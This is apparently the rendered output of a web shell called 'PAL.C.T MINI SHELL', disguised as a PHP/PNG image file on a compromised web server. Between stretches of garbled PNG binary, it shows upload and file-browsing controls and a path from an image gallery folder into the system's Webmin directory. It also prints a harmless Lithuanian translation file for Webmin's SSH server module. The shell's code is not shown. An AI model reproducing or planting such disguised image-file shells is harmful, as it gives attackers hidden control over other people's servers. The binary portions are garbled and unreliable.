php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /var/www/html/img_galeri/2r1asasas/root/usr/libexec/webmin/sshd/lang/
upload
files >> /var/www/html/img_galeri/2r1asasas/root/usr/libexec/webmin/sshd/lang/lt.auto

index_title=SSH serveris
index_econfig=Jūsų sistemoje nerastas SSH serverio konfigūracijos failas $1. Galbūt SSHD neįdiegtas arba jūsų <a href='$2'>modulio konfigūracija</a> yra neteisinga.
index_esshd=SSH serverio programa $1 jūsų sistemoje nerasta. Galbūt SSHD neįdiegtas arba jūsų <a href='$2'>modulio konfigūracija</a> yra neteisinga.
index_eversion=Nepavyko gauti versijos numerio iš SSH serverio programos $1. Galbūt jūsų <a href='$2'>modulio konfigūracija</a> yra neteisinga. Išvestis iš komandos $3 buvo : $4
index_eversion2=SSH serverio programa $1 yra $2 versija, tačiau „Webmin“ palaiko tik 1 ir 2 SSH versijas.
index_return=modulio rodyklė
index_apply=Taikyti pakeitimus
index_applymsg=Spustelėkite šį mygtuką, norėdami pritaikyti dabartinę konfigūraciją, siųsdami SIGHUP signalą į vykstantį SSHd procesą.
index_applymsg2=Spustelėkite šį mygtuką, kad pritaikytumėte dabartinę konfigūraciją su komanda $1.
index_start=Pradėti serverį
index_startmsg=Spustelėkite šį mygtuką, kad paleistumėte SSH serverį. Kol jis nebus paleistas, jokie vartotojai negalės prisijungti per SSH.
index_stop=Sustabdyti serverį
index_stopmsg=Spustelėkite šį mygtuką, norėdami sustabdyti veikiantį SSH serverį. Kai jis bus sustabdytas, jokie vartotojai negalės prisijungti per SSH, tačiau esami ryšiai išliks aktyvūs.
index_version=$1
index_type=SSH rakto tipas:
index_rsa1=RSA (SSH v1)
index_rsa=RSA (SSH v2)
index_dsa=DSA (skirtas SSH v2)

bits=bitai
secs=sekundžių

users_title=Autentifikavimas
users_header=Prisijungimo ir autentifikavimo parinktys
users_expire=Dienos iki sąskaitos galiojimo pabaigos įspėti vartotoją
users_expire_def=Niekada
users_mail=Pranešti vartotojui apie naujus laiškus?
users_empty=Klauskite naujo slaptažodžio, jei jis tuščias?
users_passwd=Klauskite naujo slaptažodžio, jei pasibaigė jo galiojimo laikas?
users_pexpire=Dienos prieš slaptažodžio galiojimo pabaigą, kad įspėtų vartotoją
users_pexpire_def=Niekada
users_auth=Leisti autentifikuoti slaptažodžiu?
users_pempty=Ar leisti prisijungti naudojant tuščius slaptažodžius?
users_root=Leisti prisijungti naudojant šaknį?
users_nopwd=Tik su RSA aut
users_fcmd=Tik komandoms
users_rsa=Leisti RSA (SSH 1) autentifikavimą?
users_dsa=Leisti DSA (SSH 2) autentifikavimą?
users_strict=Patikrinti pagrindinių failų leidimus?
users_rhosts=Nepaisyti <tt>.rhosts</tt> failų?
users_rrhosts=Ignoruoti šakninio vartotojo <tt>.rhosts</tt> failus?
users_rrdef=Tas pats, kaip kiti vartotojai
users_rhostsauth=Leisti prisijungti tik <tt>hosts.equiv</tt> ir <tt>.rhosts</tt>?
users_rhostsrsa=Patikrinkite <tt>hosts.equiv</tt> ir <tt>.rhosts</tt>, ar nėra RSA autentifikavimo?
users_motd=Rodyti <tt>/etc/motd</tt> prisijungiant?
users_banner=Išankstinio prisijungimo pranešimo failas
users_banner_def=Nė vienas
users_known=Nepaisyti vartotojų <tt>žinomų vaizdų</tt> failų?
users_err=Nepavyko išsaugoti vartotojų ir grupių
users_eexpire=Trūksta arba netinkamos įspėjimo apie galiojimo pabaigą dienos
users_ebanner=Trūksta arba netinkamas išankstinio prisijungimo pranešimo failas
users_authkeys=Vartotojo įgaliotų raktų failas
users_authkeys_def=Default (~/.ssh/authorized_keys)
users_authkeys_set=Byla po namu
users_eauthkeys=Trūksta arba netinkamos išvaizdos įgaliotų raktų failas
users_maxauthtries=Maksimalus prisijungimo bandymas prisijungiant
users_emaxauthtries=Trūksta arba nėra skaitinių prisijungimo bandymų prisijungti
users_chal=Naudoti iššūkio ir atsako autentifikavimą?

net_title=Tinklo kūrimas
net_header=Tinklo galimybės
net_port=Klausykite uoste
net_all4=Visi IPv4 adresai
net_all6=Visi IPv6 adresai
net_sel=Adresas ..
net_prots=Priimkite protokolus
net_prots_1=SSH v1
net_prots_2=SSH v2
net_idle=Neveikimo laikas
net_idle_s=sekundžių
net_idle_m=minučių
net_idle_h=valandos
net_idle_d=dienų
net_idle_w=savaites
net_keep=Atjungti, jei klientas sudužo?
net_listen=Klausykite pagal adresą
net_listen2=Klausykite adresų
net_laddress=Adresas
net_lport=Uostas
net_listen_def=Visi adresai
net_below=Įvesta žemiau ..
net_grace=Laikas laukti prisijungimo
net_grace_def=Amžinai
net_grace_s=sekundžių
net_tcp=Leisti TCP persiuntimą?
net_gateway=Leisti prisijungti prie persiųstų prievadų?
net_reverse=Atgal patvirtinti kliento IP adresus?
net_err=Nepavyko išsaugoti tinklo
net_elisten=Trūksta arba netinkamas IP adresas klausytis
net_eport=Trūksta arba netinkamas prievado numeris
net_eidle=Trūksta arba netinkamas tuščiosios eigos laikas
net_egrace=Trūksta arba netinkamas laikas laukti prisijungimo
net_eprots=Turite pasirinkti bent vieną protokolą
net_eladdress=„$1“ nėra tinkamas adresas, kurio norite klausytis
net_elport=„$1“ nėra tinkamas prievadas, kurio reikia klausytis
net_elisten2=Įvestų adresų nėra

access_title=Prieigos kontrolė
access_header=Tinklo ir prisijungimo prieigos kontrolės parinktys
access_allowu=Leisti tik vartotojams
access_allowg=Leisti tik grupių nariams
access_all=Visi
access_denyu=Neigti vartotojų
access_denyg=Neigti grupių narių
access_none=Nė vienas
access_allowh=Leisti naudoti tik klientų pagrindinius kompiuterius
access_denyh=Neigti klientų šeimininkų
access_silent=Tyliai diktofonas neleido klientams?
access_eallowu=Jokių vartotojų leisti įeiti
access_edenyu=Nei vienas vartotojas negali paneigti
access_eallowg=Negalima patekti į grupes
access_edenyg=Į grupę neįtraukta jokių neigiamų grupių
access_eallowh=Nėra priimančiųjų įeiti
access_edenyh=Nebuvo jokių šeimininkų, kurie galėtų paneigti

misc_title=Įvairūs variantai
misc_header=Kitos įvairios SSH serverio parinktys
misc_x11=Leisti X11 ryšio peradresavimą?
misc_xoff=X11 ekrano poslinkis
misc_xauth=Visas kelias į <tt>xauth</tt> programą
misc_umask=Umask skirtas SSH serveriui
misc_umask_def=Palikite nepakeistą
misc_syslog=Sistemos žurnalo priemonė
misc_loglevel=Medienos ruošos lygis
misc_bits=Serverio rakto dydis
misc_quiet=Ar minimali medienos ruoša?
misc_regen=Serverio rakto regeneravimo intervalas
misc_regen_def=Niekada
misc_fascist=Ar vertimas žodžiu?
misc_separ=Naudoti atskirą neprivilegijuotą procesą?
misc_pid=PID failas
misc_err=Nepavyko išsaugoti įvairių variantų
misc_exoff=Trūksta arba netinkamas X11 ekrano poslinkis
misc_exauth=Trūksta arba netinkamas kelias į <tt>xauth</tt>
misc_eumask=Trūksta arba netinkamas 4 skaitmenų aštuonkojo umaskas
misc_ebits=Trūksta arba netinkamas serverio rakto dydis
misc_eregen=Trūksta arba netinkamas rakto atstatymo intervalas
misc_epid=Trūksta PID failo kelio

start_err=Nepavyko paleisti SSH serverio
apply_epid=Nebėga

hosts_title=Kliento pagrindinio kompiuterio parinktys
hosts_header=SSH kliento kompiuteriai
hosts_none=Nebuvo apibrėžtos jokios kliento prieglobos parinktys. Visuose SSH kliento prisijungimuose bus naudojami numatytieji nustatymai.
hosts_all=Visi šeimininkai
hosts_add=Pridėkite kliento pagrindinio kompiuterio parinktis.
hosts_return=klientų prieglobos sąrašas

host_create=Pridėti pagrindinio kompiuterio parinktis
host_edit=Redaguoti pagrindinio kompiuterio parinktis
host_header=Kliento galimybės naudoti SSH pagrindinį kompiuterį
host_name=Galimybės šeimininkui
host_user=Prisijungimas kaip vartotojas
host_user_def=Dabartinis prisijungimas
host_keep=Atjungti, jei serveris sudužo?
host_hostname=Tikrasis pagrindinio kompiuterio vardas, prie kurio reikia prisijungti
host_hostname_def=Tas pats, kas aukščiau
host_batch=Klausti slaptažodžio, jei reikia?
host_port=Prievadas, prie kurio reikia prisijungti
host_comp=Suspausti SSH srautą?
host_escape=Escape personažas
host_escape_none=Nė vienas
host_clevel=Suspaudimo lygis
host_clevel_1=(Blogiausias)
host_clevel_9=(Geriausias)
host_attempts=Bandymų prisijungti skaičius
host_usersh=Ar užmegzti tik RSH ryšį?
host_rsh=Išbandykite RSH, jei SSH nepavyksta?
host_agent=Persiųsti autentifikavimo agentą?
host_x11=Pirmyn X11 jungtis?
host_priv=Naudoti privilegijuotą šaltinio prievadą?
host_strict=Pridėti pagrindinio kompiuterio failą <tt>žinomi_vaizdžiai</tt>?
host_ask=Klauskite vartotojo
host_lforward=Vietiniai uostai, kuriuos reikia persiųsti į serverį
host_llport=Vietinis uostas
host_lrhost=Nuotolinis kompiuteris
host_lrport=Nuotolinis prievadas
host_rforward=Serverio prievadai, kuriuos reikia persiųsti vietiniams
host_rrport=Nuotolinis prievadas
host_rlhost=Vietinis šeimininkas
host_rlport=Vietinis uostas
host_checkip=Patikrinkite IP adresus faile <tt>žinomi_vaizdžiai</tt>?
host_prots=Išbandykite SSH protokolus
host_prots1=Tik 1
host_prots2=Tik 2
host_prots12=1 ir paskui 2
host_prots21=2 ir tada 1
host_prots_sel=Pasirinkta ..
host_err=Nepavyko išsaugoti pagrindinio kompiuterio parinkčių
host_ename=Trūksta arba netinkamas pagrindinio kompiuterio vardas
host_euser=Trūksta arba netinkamas vartotojo vardas
host_ehostname=Trūksta arba netinkamas tikrasis kompiuterio vardas
host_eport=Trūksta arba netinkamas prievado numeris
host_eescape=Trūksta vieno pabėgimo veikėjo
host_eattempts=Trūksta arba netinkamas prisijungimo bandymų skaičius
host_elport=Trūksta arba netinkamas vietinio prievado numeris
host_erhost=Trūksta arba netinkamas nuotolinio kompiuterio vardas
host_erport=Trūksta arba netinkamas nuotolinio prievado numeris
host_elhost=Trūksta arba netinkamas vietinis pagrindinio kompiuterio vardas
host_eprots=Turite pasirinkti bent vieną protokolą
host_proxy=Ryšio tarpinio serverio komanda
host_proxy_def=Nė vienas
host_eproxy=Trūksta arba netinkamai atrodo tarpinio serverio komanda

log_users=Pakeistos autentifikavimo parinktys
log_net=Pakeistos tinklo galimybės
log_access=Pakeista prieigos kontrolė
log_misc=Pakeistos įvairios parinktys
log_create_host=Sukurtos pagrindinio kompiuterio parinktys $1
log_update_host=Atnaujintos pagrindinio kompiuterio (-ių) parinktys $1
log_delete_host=Ištrintos pagrindinio kompiuterio parinktys $1
log_create_all=Sukurtos galimybės visiems šeimininkams
log_update_all=Atnaujintos visų kompiuterių parinktys
log_delete_all=Ištrintos visų kompiuterių parinktys
log_stop=Sustabdytas SSH serveris
log_start=Paleistas SSH serveris
log_apply=Taikoma konfigūracija
log_manual=Rankiniu būdu redaguojamas konfigūracijos failas $1

sync_title=Vartotojo SSH rakto nustatymas
sync_desc=Šis puslapis leidžia konfigūruoti automatinį SSH nustatymą naujiems „Unix“ vartotojams, sukurtiems jūsų sistemoje. Jei sukonfigūruota, naujiems vartotojams nereikės paleisti <tt>ssh-keygen</tt> prieš naudojant SSH.
sync_create=Nustatyti SSH raktą naujiems „Unix“ vartotojams?
sync_auth=Nukopijuoti naują <tt>identifikatorių.pub</tt> į <tt>autorizuotus raktus</tt>?
sync_pass=Naudoti slaptažodį kaip rakto slaptafrazę?
sync_gnupg=Nustatykite GNUPG raktą naujiems „Unix“ vartotojams.
sync_type=Rakto tipas
sync_auto=&lt;Automatinis&gt;

keys_title=Pagrindinio kompiuterio SSH raktai
keys_desc=Šiame puslapyje galite peržiūrėti šio pagrindinio kompiuterio SSH raktus.
keys_none=Nepavyko rasti „HostKey“ įrašų jūsų SSHD konfigūracijoje.

manual_title=Redaguoti konfigūravimo failus
manual_ecannot=Jums neleidžiama redaguoti SSH serverio konfigūracijos failo
manual_ok=Redaguoti
manual_efile=Pasirinktas failas nėra SSH serverio konfigūracijos dalis
manual_file=Redaguoti konfigūracijos failą:
manual_edata=Niekas neįėjo!
manual_err=Nepavyko išsaugoti konfigūracijos failo

dknown_err=Nepavyko ištrinti žinomų prieglobos
dknown_enone=Nepasirinkta
y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`